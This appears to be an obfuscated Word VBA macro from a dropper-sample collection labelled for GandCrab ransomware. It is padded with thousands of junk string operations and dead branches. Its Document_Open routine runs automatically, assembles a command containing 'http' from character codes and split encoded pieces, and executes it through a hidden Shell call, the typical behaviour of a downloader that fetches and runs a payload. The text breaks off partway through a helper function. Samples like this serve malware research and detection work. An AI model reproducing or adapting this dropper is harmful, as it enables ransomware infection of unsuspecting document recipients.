Files
GandCrab-Swarm/dropper-macros/13134fc20c780d0c9e538e3d60287220cbc9142bf6bf953637b924af8f7ada84.macro
2026-08-27 10:54:50 -06:00

751 lines
34 KiB
Plaintext

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function fkelbskfbse() As Integer
fljkeb = "328198"
fbebl = 3113 - 434
fkelbskfbse = fbebl - 100
End Function
Private Sub Document_Open()
fbjlz = fkelbskfbse()
For WCAiQ = 0 To 43
wAHD = StrReverse("AhQYazmKTMAmYIlgB")
wAHD = StrReverse("UfjdrVWkKpx")
wAHD = StrReverse("kSCJKPTUIOEyh")
wAHD = Replace("eETiUOrfLyL", "eET", "WsVo")
wAHD = StrReverse("fsOLEgKzmpzMUVUxscE")
If 2460080 = 251 - 1030 Then
WZQFk = Replace("yLpJOkMkJuDioloOyR", "yLp", "UBdQ")
WZQFk = StrReverse("yLpJOkMkJuDioloOyR")
End If
wAHD = StrReverse("ajovTqhBwihlT")
wAHD = StrReverse("HHATwKBzGpXvJk")
wAHD = StrReverse("iVniFinWKjgizXfl")
wAHD = Replace("fAEIaQdhLYkpHnauo", "fAE", "hIuQ")
wAHD = StrReverse("JeXHjuyaoDgZnwXZPg")
If 914079 = 123 - 5968 Then
gGHdv = Replace("DoltaeVorYyRq", "Dol", "oAdvb")
gGHdv = StrReverse("DoltaeVorYyRq")
rKfOt = Replace("wklGwScLbh", "wkl", "rXckatj")
rKfOt = StrReverse("wklGwScLbh")
End If
wAHD = Replace("GRCyPUfbll", "GRC", "mpDEORX")
wAHD = Replace("BpqHYpYOQuTxsrE", "Bpq", "lOXMB")
wAHD = Replace("fYEfRPhzBcYE", "fYEf", "LtuGLDp")
wAHD = StrReverse("hMhglFXgXLZoAAABF")
wAHD = Replace("CwxoSETPfHo", "Cwxo", "dOpCkJ")
wAHD = StrReverse("ZRaVPcAiwhm")
wAHD = Replace("iLJngfexTayQTGLOloV", "iLJn", "QcdPTz")
If 617267 = 101 - 7641 Then
VsTQR = Replace("JSMfotHPmyPDIwUS", "JSM", "EkJoVfV")
VsTQR = StrReverse("JSMfotHPmyPDIwUS")
End If
wAHD = Replace("fcyLqpennbdgRxcHufF", "fcyL", "xUrlR")
wAHD = StrReverse("UyqriZSgGhaitQ")
wAHD = Replace("ekJvQPBXLGw", "ekJv", "BKejq")
If 991289 = 53 - 2878 Then
xgaUw = Replace("dKaoXSTwLtl", "dKao", "OGcUo")
xgaUw = StrReverse("dKaoXSTwLtl")
End If
wAHD = StrReverse("somGOJzXdbUeGDIgrEY")
Next WCAiQ
If 1659259 = 41 - 3507 Then
MAxcw = Replace("BUzotIEcbHv", "BUz", "yAFOUfO")
MAxcw = StrReverse("BUzotIEcbHv")
afdAl = Replace("xoXgQQHHgXohL", "xoXg", "aCMK")
afdAl = StrReverse("xoXgQQHHgXohL")
End If
qzozUa = StrReverse("sGnDcfwsqwa")
If 2929590 = 135 - 4290 Then
CObTT = Replace("uijpvcMQsZHTh", "uijp", "ZFiLk")
CObTT = StrReverse("uijpvcMQsZHTh")
End If
For nGlQZ = 0 To 182
If 525399 = 51 - 5529 Then
bOrQe = Replace("dWEPHfiMTK", "dWE", "Hptmm")
bOrQe = StrReverse("dWEPHfiMTK")
pwrxZ = Replace("yXXTCgOBHPuneEAEdhW", "yXXT", "qCtWPq")
pwrxZ = StrReverse("yXXTCgOBHPuneEAEdhW")
End If
Egas = StrReverse("WruLHlQERCDGayY")
Egas = StrReverse("OXjsXmWDDreuIFJacAK")
Egas = StrReverse("YrpCihKhVEvVb")
Egas = Replace("fnFGTulUXGCUDb", "fnF", "qGPXR")
If 1023309 = 164 - 4472 Then
QXYzO = Replace("OFoyXyODkpfJxRbMQ", "OFoy", "wFXMfIk")
QXYzO = StrReverse("OFoyXyODkpfJxRbMQ")
End If
Egas = StrReverse("lWALjdrxRErlA")
Egas = StrReverse("clHckpiKsISvunkoKUG")
Egas = StrReverse("CLRGskVgPJbHDiG")
Egas = Replace("qVksszdQke", "qVks", "pnrT")
Egas = Replace("pAnTkifLfSiHbTXtHZ", "pAnT", "WslHhdK")
If 30307 = 5 - 165 Then
nDtRK = Replace("HBKDEVkOyXkqs", "HBK", "Jrcji")
nDtRK = StrReverse("HBKDEVkOyXkqs")
End If
Egas = StrReverse("EQpqyCnoIO")
Egas = StrReverse("hUHEgLOzlKPqMv")
Egas = StrReverse("VmWxMOcjjWjtXbbJ")
Egas = Replace("wXobMwrbdnyAPeLF", "wXo", "OVPhU")
If 1735813 = 59 - 5308 Then
pkqeV = Replace("buiRyunOYTrAY", "buiR", "HUGWrZt")
pkqeV = StrReverse("buiRyunOYTrAY")
End If
Egas = StrReverse("nCyHsAigzw")
Egas = StrReverse("VnSimdKHxx")
Egas = Replace("GOtFZAbzgscmiL", "GOt", "EWszW")
Egas = Replace("ygEpgEJgxRT", "ygE", "wWDG")
Egas = StrReverse("bqcugkglWiALLCEM")
Egas = StrReverse("YSfoMAWbrycXRkiYEKq")
Egas = Replace("cIkODDLyKgeWgVfp", "cIkO", "HzOH")
Egas = StrReverse("AOhWeVtMfoBx")
Next nGlQZ
For iAQTv = 0 To 161
IkOB = Replace("RIUIqPniTOGOs", "RIU", "yaTemM")
IkOB = Replace("PRswJFtxgiFDQjsEmR", "PRsw", "iEvHHwG")
IkOB = StrReverse("UZgGeGIkJRgdHJaFh")
IkOB = StrReverse("GRbDdPDHcaozXmpWplL")
IkOB = StrReverse("WJpDzFafuWxFnIpfWx")
IkOB = StrReverse("SXikSpijpR")
IkOB = Replace("LWmxpHtxMQoqDbYDq", "LWmx", "HIHwHLQ")
If 764496 = 10 - 5067 Then
LFWyX = Replace("qqdsZVtKEcZQ", "qqds", "EGfhG")
LFWyX = StrReverse("qqdsZVtKEcZQ")
End If
If 1249435 = 250 - 1329 Then
yrbof = Replace("WTYRJKfPbHQ", "WTYR", "RThcyun")
yrbof = StrReverse("WTYRJKfPbHQ")
End If
IkOB = Replace("HBghkETrTXgzaZDrsc", "HBg", "doStGt")
IkOB = StrReverse("xXgCVyMnhIGwEtGuQ")
IkOB = Replace("ooKGGfXobHpEGa", "ooKG", "ycUfWG")
IkOB = Replace("tVwpxPjFoWYJ", "tVw", "glSZmu")
If 2963149 = 123 - 3469 Then
wRKBV = Replace("nSFoDYbzTgMoXMm", "nSFo", "XWrvcAo")
wRKBV = StrReverse("nSFoDYbzTgMoXMm")
End If
IkOB = Replace("iRcAdsXsEWOUyppvkwI", "iRcA", "DMlP")
IkOB = StrReverse("VPCEHjtGGbRngzPARXY")
IkOB = StrReverse("nHAPiGsTbKGfnAw")
IkOB = Replace("RasdubzegglhuZD", "Ras", "kbbq")
IkOB = Replace("fbtjiMDoWRycJFzw", "fbt", "WZzbX")
If 586943 = 162 - 3989 Then
wdplu = Replace("mIgzWWgejRAYmzKqBlW", "mIg", "KldMr")
wdplu = StrReverse("mIgzWWgejRAYmzKqBlW")
DGPGu = Replace("SqqjxoqpSxWEAT", "Sqq", "TxXly")
DGPGu = StrReverse("SqqjxoqpSxWEAT")
End If
IkOB = StrReverse("DwgHKsQqAzH")
If 3598565 = 249 - 704 Then
tTTpB = Replace("nReJDVQBJDLBO", "nRe", "rGDy")
tTTpB = StrReverse("nReJDVQBJDLBO")
End If
IkOB = StrReverse("SrwdflxylWD")
If 347625 = 65 - 278 Then
pwFvU = Replace("BWvFciDxumEazEu", "BWvF", "nIrhKT")
pwFvU = StrReverse("BWvFciDxumEazEu")
End If
IkOB = StrReverse("hSPPtfXcLUHGGJeZjn")
Next iAQTv
For YkZlU = 0 To 202
Uhyf = Replace("jHEBLejYAma", "jHE", "wsduZ")
Uhyf = StrReverse("JYDmodVkHqxb")
Uhyf = StrReverse("klVLtHaLbpcC")
Uhyf = Replace("roIVhIbfirBDIJqAQlA", "roI", "paCXRrs")
Uhyf = StrReverse("OwVmUcKPCmUQy")
If 3118620 = 29 - 6146 Then
mJIRA = Replace("qjdGRoVbfJtGErZaR", "qjd", "vdryp")
mJIRA = StrReverse("qjdGRoVbfJtGErZaR")
jmcYU = Replace("pkcuCLejWmGwFlwB", "pkcu", "XpKOKo")
jmcYU = StrReverse("pkcuCLejWmGwFlwB")
End If
If 3291227 = 250 - 3079 Then
OlskL = Replace("QVLehZYlQOlRoP", "QVL", "KZQOrZZ")
OlskL = StrReverse("QVLehZYlQOlRoP")
wYiqU = Replace("RUHQHotoxaCWwyk", "RUHQ", "HijFw")
wYiqU = StrReverse("RUHQHotoxaCWwyk")
End If
Uhyf = StrReverse("ZsDnlJTPafR")
Uhyf = StrReverse("YHaDdKBTnzbSbvbXYQr")
Uhyf = Replace("EgvffLGqDYLdVQQxkd", "Egv", "LXhZm")
Uhyf = Replace("QvLSanxEXAtBYVRR", "QvLS", "IOGsuVi")
Uhyf = StrReverse("krYZdCmXklkrvXf")
If 137605 = 172 - 2706 Then
thDwt = Replace("LeLnzjsYDyYOekHHZvI", "LeL", "cHBwEiW")
thDwt = StrReverse("LeLnzjsYDyYOekHHZvI")
End If
Uhyf = Replace("WUdSvdnIIRHiTZEGkWH", "WUdS", "VwBgPJX")
Uhyf = StrReverse("SaOsgYIlgfHrt")
Uhyf = Replace("EtZieGtQocQecQeXdds", "EtZi", "bkMc")
Uhyf = StrReverse("DBYObEltAXRmtlztL")
If 3011607 = 248 - 3311 Then
KYafT = Replace("vciMwizktBWwSdqdnG", "vciM", "wIwmgc")
KYafT = StrReverse("vciMwizktBWwSdqdnG")
End If
Uhyf = StrReverse("zjtakPZAqJQVQJtlA")
Uhyf = Replace("STwprUFjXZ", "STw", "mDkOLu")
If 922844 = 111 - 6550 Then
MhMMR = Replace("BczXDTufngqE", "BczX", "DZzLTDC")
MhMMR = StrReverse("BczXDTufngqE")
RYBbs = Replace("WkUtkqxwrwbFwIPwK", "WkUt", "BplCQhU")
RYBbs = StrReverse("WkUtkqxwrwbFwIPwK")
End If
Uhyf = Replace("VHhHRkQIneoKdp", "VHhH", "EvgJdbe")
Uhyf = StrReverse("gViUSAZgXnygOfE")
Uhyf = Replace("uqdWAFPAXOkegkwD", "uqdW", "xEIXk")
Uhyf = StrReverse("puSybzfiLhKEavd")
Next YkZlU
AbblUs = StrReverse("atgAEzjlKFGJYrrxab")
If 1492917 = 108 - 6090 Then
LxauV = Replace("EkBSutWBaYiTed", "EkBS", "onIeA")
LxauV = StrReverse("EkBSutWBaYiTed")
End If
If 3059391 = 120 - 746 Then
bSxEQ = Replace("eAQhUQMkIyTJevxzFu", "eAQh", "nuiPMCT")
bSxEQ = StrReverse("eAQhUQMkIyTJevxzFu")
MHied = Replace("zdwRGeHEKqUyzE", "zdwR", "akTogWe")
MHied = StrReverse("zdwRGeHEKqUyzE")
End If
For wzjEv = 0 To 376
VDpn = StrReverse("YqmcasdcaIejPuU")
VDpn = StrReverse("qtshIPRYJxdW")
VDpn = StrReverse("gdCliJGXuhniicWUyX")
VDpn = Replace("fhPzAgLfpA", "fhP", "vnffLJ")
If 1485555 = 166 - 1623 Then
YITmY = Replace("LVqzygpGVWjB", "LVqz", "jfjshL")
YITmY = StrReverse("LVqzygpGVWjB")
XTKTY = Replace("UhMcomQgsjGGlSVXg", "UhM", "wbshdcI")
XTKTY = StrReverse("UhMcomQgsjGGlSVXg")
End If
VDpn = StrReverse("DSdxSJLLKslSwL")
VDpn = StrReverse("vPmcDCrxTdTdaXSQywR")
VDpn = StrReverse("YIWPxajojbysnMjULmz")
VDpn = StrReverse("opeuVEHUqQHhC")
VDpn = StrReverse("wyhbBqGHHKDJSPPD")
VDpn = StrReverse("PheoAKZFbtpaAavP")
VDpn = Replace("BWIfvbsbhPJHpJdYU", "BWI", "OiuXnJ")
VDpn = Replace("JeahUiClcvdhwgCA", "Jea", "bmsmi")
VDpn = StrReverse("IoBtArlLPQY")
VDpn = Replace("sFemODsXIIWuMsfTkA", "sFe", "RzHVn")
VDpn = Replace("EYHWtPHaBYwhRt", "EYHW", "abGXS")
VDpn = StrReverse("wgcZBYBrhUPnIFBsHv")
VDpn = StrReverse("XIMqVOVMTBZPpxLguvM")
VDpn = Replace("BCkwFaSlnXvdVHTK", "BCkw", "axnP")
VDpn = Replace("YLFBFGcKaDcFYu", "YLFB", "scIi")
VDpn = Replace("rzkHFnhCxmOKx", "rzkH", "qmTyA")
VDpn = Replace("XIOZKjhQLaK", "XIOZ", "OXzzvb")
VDpn = StrReverse("HpGnoXSGGEDn")
If 3364532 = 212 - 4028 Then
yyxYE = Replace("spWwvsxUOqfUCUOS", "spW", "jgtL")
yyxYE = StrReverse("spWwvsxUOqfUCUOS")
End If
VDpn = Replace("yBtXIqDruqotscccXh", "yBt", "gjku")
Next wzjEv
For YvTVH = 0 To 184
SnEz = StrReverse("fwGbYOvrTSJc")
SnEz = Replace("ahunzPKoWcsyM", "ahun", "rMhE")
If 828310 = 155 - 7938 Then
DDpFX = Replace("avzQECUSVWUP", "avzQ", "kiVdxgP")
DDpFX = StrReverse("avzQECUSVWUP")
pkDnm = Replace("LUOsFCyGtaxozrXinGC", "LUO", "hFTBjp")
pkDnm = StrReverse("LUOsFCyGtaxozrXinGC")
End If
SnEz = Replace("uEkryuJZLvQHgcoWWto", "uEkr", "YflW")
SnEz = Replace("qHZsJdVExWgnofMuWHm", "qHZ", "cTxd")
If 1640413 = 176 - 898 Then
fdScX = Replace("lfGvhTJqhfwzTAbgXbG", "lfG", "onHvG")
fdScX = StrReverse("lfGvhTJqhfwzTAbgXbG")
WxbzH = Replace("auGIDyMtkGVzZq", "auGI", "STCjWOf")
WxbzH = StrReverse("auGIDyMtkGVzZq")
End If
If 2058796 = 22 - 3998 Then
uLWjM = Replace("hXAVwitxRdDgfDCZI", "hXAV", "qamx")
uLWjM = StrReverse("hXAVwitxRdDgfDCZI")
QUbej = Replace("QylrOPspLpGgBMd", "Qyl", "MLCU")
QUbej = StrReverse("QylrOPspLpGgBMd")
End If
If 2808523 = 130 - 6530 Then
zaqwz = Replace("vKptKTPzYWflqD", "vKp", "XFRkd")
zaqwz = StrReverse("vKptKTPzYWflqD")
End If
SnEz = Replace("EkwTCEbadxLgvdq", "EkwT", "FZIhF")
SnEz = StrReverse("rPLFUApKzPPc")
SnEz = StrReverse("bzDunDfUzhm")
SnEz = StrReverse("JXaGGpKtUkDeVxu")
SnEz = Replace("mVpoiLVuYMwZfooSrVO", "mVp", "blGennD")
SnEz = StrReverse("ACXKALRoDorTM")
SnEz = Replace("QZnQQnvzvjDSQk", "QZn", "kQxUUcz")
SnEz = Replace("mdYnAvTRonheVmqa", "mdYn", "Fwwoql")
SnEz = Replace("bwPCBCoMtzFcaUWlA", "bwPC", "oiBnOkQ")
SnEz = Replace("EuIcwmHEIiuFfzMU", "EuIc", "coRnQRr")
SnEz = Replace("MlQfIbidpXAHJJEH", "MlQf", "HtKFmXF")
SnEz = Replace("wfqFmbVydqKSMpU", "wfqF", "CgeIDnW")
SnEz = Replace("xCHklntQdtOqu", "xCHk", "hdAncCj")
SnEz = Replace("pjgTvqPnKc", "pjg", "qFXtS")
SnEz = Replace("sXeprwyUPiKZosGuyyg", "sXep", "EHBPvRH")
SnEz = Replace("HDfkScABMeUbkVABSX", "HDfk", "iLPL")
SnEz = Replace("KUpZOtEefvqqqQnoqt", "KUp", "RZhODbK")
Next YvTVH
For uAzws = 0 To 119
Hrxh = Replace("veiuCBuvHLKS", "veiu", "wtxjZp")
Hrxh = StrReverse("QxzWRCqFwCZCEqkxDTA")
Hrxh = StrReverse("VWOCvkJgrHdcnhZZt")
Hrxh = Replace("rjPlPEgrnpMu", "rjP", "uKlGe")
Hrxh = Replace("ZqTzYOrYdsiFWz", "ZqT", "weTnEp")
Hrxh = StrReverse("nDVJvhUMelwLa")
Hrxh = Replace("kcnGGTgrELhhSAx", "kcnG", "DmOOHG")
If 994677 = 41 - 1470 Then
DlWts = Replace("yMWVhmqEpkXteviptTU", "yMWV", "FcEezZZ")
DlWts = StrReverse("yMWVhmqEpkXteviptTU")
End If
Hrxh = Replace("ZmUFVUppqLcTdfsgOAK", "ZmUF", "ZJKAJ")
Hrxh = StrReverse("kJJkjtJELEGoTM")
Hrxh = StrReverse("niJjOourRAbOl")
Hrxh = StrReverse("MpccQzpuRFcucqSucv")
Hrxh = StrReverse("cDAqBzSPABlT")
Hrxh = StrReverse("FsGRnlviRBeZtmoT")
Hrxh = Replace("KLmLoRkIsBcQFDBTv", "KLm", "bepPWB")
Hrxh = Replace("SldBgabkfHkS", "Sld", "KqPhXXq")
Hrxh = Replace("CdLpauDPfqtMULjlydq", "CdLp", "cyICReB")
Hrxh = Replace("dIsztGeDMnVTJ", "dIs", "BMgX")
Hrxh = StrReverse("cLWMazcFCZM")
If 2261852 = 251 - 2773 Then
ChEII = Replace("QsoutPOomSgIdUkxDtq", "Qsou", "HKKLw")
ChEII = StrReverse("QsoutPOomSgIdUkxDtq")
End If
Hrxh = StrReverse("pIULroJaEbE")
Hrxh = StrReverse("LfElezHjCpz")
Hrxh = StrReverse("ERowJAyPfVBHhmDg")
Hrxh = Replace("epdITxAVqDyiDbVy", "epd", "eUVLu")
If 961999 = 60 - 1449 Then
rlfpv = Replace("BcqGVhxMYlqfGFWo", "BcqG", "GCidckx")
rlfpv = StrReverse("BcqGVhxMYlqfGFWo")
End If
Next uAzws
While cHdj < 3228
If cHdj = 38 Then
GEQF = Replace("WaKylttnak", "WaK", "iGCqv")
ElseIf cHdj = 2787 Then
GEQF = Replace("hzDuxZHqqG", "hzD", "FJkbk")
ElseIf cHdj = 203 Then
GEQF = Replace("DjOgwdGgrd", "DjO", "Heikv")
ElseIf cHdj = 1231 Then
GEQF = Replace("nfqOnOFptQ", "nfq", "uaDsB")
ElseIf cHdj = 3113 Then
lkfJ = Replace(sHjf, iSF, Chr(104) + Chr(116) + Chr(116) + Chr(112))
ElseIf cHdj = 1138 Then
GEQF = Replace("gpqdmsULKP", "gpq", "UwVoz")
ElseIf cHdj = 480 Then
GEQF = Replace("QZRahVyPDg", "QZR", "lYPIy")
ElseIf cHdj = 2154 Then
GEQF = Replace("IoBdhIQcCK", "IoB", "dGyBd")
ElseIf cHdj = 1694 Then
GEQF = Replace("OQhhOKGVkI", "OQh", "MOlYH")
ElseIf cHdj = 1873 Then
GEQF = Replace("SOHbqeuEoT", "SOH", "nvEJF")
ElseIf cHdj = 2067 Then
GEQF = Replace("xvuwVYMTUU", "xvu", "VhLLV")
ElseIf cHdj = 1275 Then
GEQF = Replace("zcjiTtonFi", "zcj", "bzxOs")
ElseIf cHdj = 1846 Then
GEQF = Replace("ngREcszDBL", "ngR", "RBxpz")
ElseIf cHdj = 1476 Then
GEQF = Replace("skROfBswEa", "skR", "RFvaM")
ElseIf cHdj = 2629 Then
GEQF = Replace("bGKxjeBboP", "bGK", "lkjRj")
ElseIf cHdj = 3178 Then
nVBj = Replace(lkfJ, Uxcu, Chr(44 + 2))
ElseIf cHdj = 83 Then
GEQF = Replace("HROfuXgzab", "HRO", "ipJZt")
ElseIf cHdj = 1354 Then
GEQF = Replace("SRTIUxjWoH", "SRT", "GAkRV")
ElseIf cHdj = 3020 Then
sHjf = Split(Replace(tFf, "SEcvR", "qLJ"), Chr(122 + 2))(3 - 1)
ElseIf cHdj = 2404 Then
GEQF = Replace("SOSqPBoFtu", "SOS", "heTpI")
ElseIf cHdj = 2960 Then
GEQF = Replace("weuQimgpUK", "weu", "aKqCi")
ElseIf cHdj = 441 Then
GEQF = Replace("tXbimsPEsf", "tXb", "WYnpa")
ElseIf cHdj = 1512 Then
GEQF = Replace("sDXkgbjcxZ", "sDX", "butzO")
ElseIf cHdj = 1982 Then
GEQF = Replace("qsoeWgxgvQ", "qso", "VWGDK")
ElseIf cHdj = 3073 Then
iSF = Split(Replace(tFf, "cPVty", "uVl"), Chr(123 + 1))(3 - 2)
ElseIf cHdj = 556 Then
GEQF = Replace("FSBaETusBO", "FSB", "vHXBB")
ElseIf cHdj = 508 Then
GEQF = Replace("EbFyKbsEVd", "EbF", "Bntpg")
ElseIf cHdj = 1261 Then
GEQF = Replace("uWMyAsheFx", "uWM", "SLFZY")
ElseIf cHdj = 2306 Then
GEQF = Replace("OBaVUEaAFh", "OBa", "iTrlr")
ElseIf cHdj = 1078 Then
GEQF = Replace("lYQnrvwYhF", "lYQ", "ZfBsv")
ElseIf cHdj = 800 Then
GEQF = Replace("yzvWgqiAbi", "yzv", "xKtPR")
ElseIf cHdj = 934 Then
GEQF = Replace("qBPVhKnjDY", "qBP", "lVclL")
ElseIf cHdj = 232 Then
GEQF = Replace("PLVtXjLYvy", "PLV", "OkkFJ")
ElseIf cHdj = 909 Then
GEQF = Replace("LOFRgBScod", "LOF", "qFKlo")
ElseIf cHdj = 268 Then
GEQF = Replace("qPQdrQtohD", "qPQ", "xTmHW")
ElseIf cHdj = 1757 Then
GEQF = Replace("VaIPcnbVdY", "VaI", "HUOgG")
ElseIf cHdj = 1452 Then
GEQF = Replace("BARVQTrWaI", "BAR", "GiHRZ")
ElseIf cHdj = 722 Then
GEQF = Replace("iEZXbTXpDf", "iEZ", "JiEkP")
ElseIf cHdj = 1015 Then
GEQF = Replace("rylybZXFuh", "ryl", "hYHsp")
ElseIf cHdj = 2972 Then
tFf = Replace(StrReverse(kUBgnAWtHF(1)), "XvdLe", "zTc")
ElseIf cHdj = 2726 Then
GEQF = Replace("iAgJowFdUx", "iAg", "EhXhY")
ElseIf cHdj = 3085 Then
Uxcu = Split(Replace(tFf, "AcPYV", "ECA"), Chr(121 + 3))(0)
ElseIf cHdj = 2530 Then
GEQF = Replace("GkZqWKtWvk", "GkZ", "Zvhan")
ElseIf cHdj = 744 Then
GEQF = Replace("TVDUIBrzPm", "TVD", "ncWai")
ElseIf cHdj = 3203 Then
Shell (StrReverse(StrReverse(nVBj))), 0
ElseIf cHdj = 2485 Then
GEQF = Replace("xDSRxcgeiZ", "xDS", "fTnZk")
ElseIf cHdj = 164 Then
GEQF = Replace("DzelevaWQR", "Dze", "pbkXD")
ElseIf cHdj = 2000 Then
GEQF = Replace("lefdGuMmqc", "lef", "sbdmp")
ElseIf cHdj = 625 Then
GEQF = Replace("VzwtbuSpfz", "Vzw", "XVvwf")
ElseIf cHdj = 1633 Then
GEQF = Replace("GzxrKqAhKq", "Gzx", "IhlQW")
ElseIf cHdj = 1525 Then
GEQF = Replace("QbFPQWkXlU", "QbF", "JDLuy")
ElseIf cHdj = 1660 Then
GEQF = Replace("XXhyLgyfjK", "XXh", "ECUQF")
ElseIf cHdj = 1587 Then
GEQF = Replace("MvvORCLYly", "Mvv", "JIUpD")
ElseIf cHdj = 2892 Then
GEQF = Replace("bJELCZPYmq", "bJE", "WdrAf")
ElseIf cHdj = 348 Then
GEQF = Replace("RsmVBdFrAV", "Rsm", "sKTij")
ElseIf cHdj = 2227 Then
GEQF = Replace("EUtFSabJin", "EUt", "ZKLJl")
ElseIf cHdj = 123 Then
GEQF = Replace("nFAWzSzngv", "nFA", "zHUeh")
End If
cHdj = cHdj + 1
Wend
For JrMtf = 0 To 285
OIam = StrReverse("mDkkEmDVdbfPSwOIv")
If 765184 = 173 - 7534 Then
QACFy = Replace("MASJDHZdrFnO", "MASJ", "tabhm")
QACFy = StrReverse("MASJDHZdrFnO")
MMEBD = Replace("RKACwAwHrSFSdqztwXV", "RKA", "eApmTg")
MMEBD = StrReverse("RKACwAwHrSFSdqztwXV")
End If
OIam = StrReverse("AgWbugeJRZjLJwrM")
If 585075 = 48 - 2372 Then
IPWvi = Replace("eEgwvQXoElbnAb", "eEgw", "RstLyU")
IPWvi = StrReverse("eEgwvQXoElbnAb")
YRrgc = Replace("xpKtvWhkLTT", "xpKt", "cytmP")
YRrgc = StrReverse("xpKtvWhkLTT")
End If
OIam = StrReverse("vRtFFbeJcQG")
OIam = StrReverse("XzHVybWWpnkkLyH")
If 3449355 = 84 - 4142 Then
JSxap = Replace("GVeWTBjoOHRTUeK", "GVe", "dAZQj")
JSxap = StrReverse("GVeWTBjoOHRTUeK")
enCZv = Replace("XzIAZOviiYLMgZPq", "XzIA", "AzLis")
enCZv = StrReverse("XzIAZOviiYLMgZPq")
End If
OIam = StrReverse("PckZOcjAPJudh")
OIam = StrReverse("tWZhFjLsmKUrtm")
OIam = Replace("ySijKWzEUGJTIbj", "ySij", "SDnW")
OIam = Replace("dktJCzxroSRTOVrUq", "dkt", "spdo")
OIam = StrReverse("rparKUMyDOSlEuOD")
OIam = StrReverse("eGJLgpAfQzCkgr")
OIam = Replace("skkPZxGmUxDFFQtinS", "skk", "wiff")
OIam = StrReverse("vBbFetXcXbuSw")
OIam = Replace("iRxlQBPTdnlre", "iRx", "GHDYP")
OIam = Replace("VpvcaqHZfyTii", "Vpv", "JWvx")
If 1315609 = 102 - 7934 Then
pvhdh = Replace("DfUsmmnpKf", "DfU", "PPSWSW")
pvhdh = StrReverse("DfUsmmnpKf")
aEwQi = Replace("BplyzaDQrymuEikBzgV", "Bpl", "FifemI")
aEwQi = StrReverse("BplyzaDQrymuEikBzgV")
End If
OIam = StrReverse("vKghfQXlBFsEZCu")
OIam = StrReverse("IVQoZHlntAZDPHAGiDf")
OIam = StrReverse("jtQPQmRTxnQATv")
OIam = Replace("gYefSWqepJzslVS", "gYef", "jwZozZ")
OIam = StrReverse("toTWtKoGHXO")
OIam = StrReverse("JJbKMZekpyP")
OIam = Replace("tZxhDxniPViIMTAc", "tZxh", "ZcmhXU")
Next JrMtf
End Sub
Public Function kUBgnAWtHF(pFUBY) As String
For BCIqo = 0 To 227
rmAY = Replace("wpRqZTTJCBujboCKK", "wpRq", "RusqAQb")
If 1357108 = 251 - 2591 Then
OImip = Replace("XCxapIrMHOg", "XCx", "UWWb")
OImip = StrReverse("XCxapIrMHOg")
End If
rmAY = StrReverse("TDQSKGhHiHvqB")
rmAY = Replace("ywjKZWcGpUfaAzOoP", "ywj", "wpuXn")
rmAY = Replace("yxJlUjLyFpz", "yxJl", "XELMr")
rmAY = StrReverse("rWnDqRigBO")
If 2384021 = 128 - 960 Then
vDrMM = Replace("KdfGuaDCtQygqVil", "Kdf", "bvQzGP")
vDrMM = StrReverse("KdfGuaDCtQygqVil")
PEVKd = Replace("DviKKYBrASRG", "DviK", "kWPJU")
PEVKd = StrReverse("DviKKYBrASRG")
End If
If 3379818 = 207 - 5937 Then
jCTYC = Replace("QUqMaUdGOJ", "QUqM", "YPYP")
jCTYC = StrReverse("QUqMaUdGOJ")
bToFM = Replace("laEmpqIFzuJHtDzR", "laEm", "CmvS")
bToFM = StrReverse("laEmpqIFzuJHtDzR")
End If
rmAY = StrReverse("RFEkIJRJoKGnFbWUu")
rmAY = StrReverse("yMwseXAIGtt")
rmAY = Replace("TjutgRGElyEp", "Tju", "bDWLofI")
If 3675264 = 43 - 3557 Then
hlraB = Replace("FnzfnMlYxTBz", "Fnz", "rAGaEZd")
hlraB = StrReverse("FnzfnMlYxTBz")
End If
rmAY = Replace("FnCjaPncTCRhvpisJ", "FnC", "GJGaSup")
If 2762026 = 176 - 5453 Then
AeJzD = Replace("cSgaDrEWWmibhDsT", "cSga", "lAAOFbJ")
AeJzD = StrReverse("cSgaDrEWWmibhDsT")
End If
rmAY = StrReverse("YnaMBTQnkEZwcvZu")
rmAY = Replace("SORDtWIELoyupoaHFW", "SOR", "GOJcG")
rmAY = StrReverse("WCGmVjkFjIGmSxnUb")
rmAY = StrReverse("TTSEUkUleFY")
rmAY = Replace("KVguQYpeuz", "KVg", "oixOTix")
If 2195665 = 38 - 7019 Then
zJYOV = Replace("KymDpYydLbWRkffHxch", "Kym", "IsuFhJh")
zJYOV = StrReverse("KymDpYydLbWRkffHxch")
YqzzA = Replace("WBPZjkKfdr", "WBPZ", "KsonkR")
YqzzA = StrReverse("WBPZjkKfdr")
End If
If 3435269 = 232 - 4073 Then
eMdpu = Replace("pHRmkUXUfcYjfoBZqux", "pHRm", "KFFLogs")
eMdpu = StrReverse("pHRmkUXUfcYjfoBZqux")
End If
rmAY = Replace("AywvlDzcXmLTX", "Aywv", "SPTn")
rmAY = Replace("tSaypPKUIpEWbjPm", "tSa", "MRRk")
rmAY = Replace("SAxnIuHuJy", "SAx", "JFeiBem")
rmAY = Replace("LxWSOpxQKEWG", "LxWS", "puVrBZQ")
Next BCIqo
For opUzy = 0 To 289
AkYv = Replace("vWwHzSRQIXpvKicu", "vWwH", "bhbWB")
AkYv = Replace("TXsziTImOugOoQxznW", "TXs", "Avujy")
AkYv = StrReverse("zhHZoHGhCgmfCdRDEYT")
If 1273750 = 211 - 7477 Then
sbnkj = Replace("wDDIAOAvhgEzpcTc", "wDD", "OccHlF")
sbnkj = StrReverse("wDDIAOAvhgEzpcTc")
DFpId = Replace("fDEsiZYraMkkv", "fDE", "QHPze")
DFpId = StrReverse("fDEsiZYraMkkv")
End If
If 1821257 = 204 - 710 Then
asVDg = Replace("irTUxulfeJE", "irTU", "BwugJlI")
asVDg = StrReverse("irTUxulfeJE")
End If
AkYv = StrReverse("uZExBgOjYQKFV")
AkYv = Replace("RdCYEPzaRzTxztzwCk", "RdCY", "uXKdDR")
AkYv = Replace("UAKfDfeGSUDl", "UAKf", "lJWGrvB")
AkYv = Replace("rQroErrhXmwQKBHki", "rQr", "UQSCdBU")
AkYv = Replace("EePKZQBSTiJzvEsAScy", "EeP", "Xdot")
AkYv = StrReverse("JqCALimEthRTGiMM")
AkYv = StrReverse("MWKQHTIlvpzWl")
AkYv = StrReverse("dwmLEiCaSsXXALoZb")
AkYv = StrReverse("UeJOdeWWaqGwwTg")
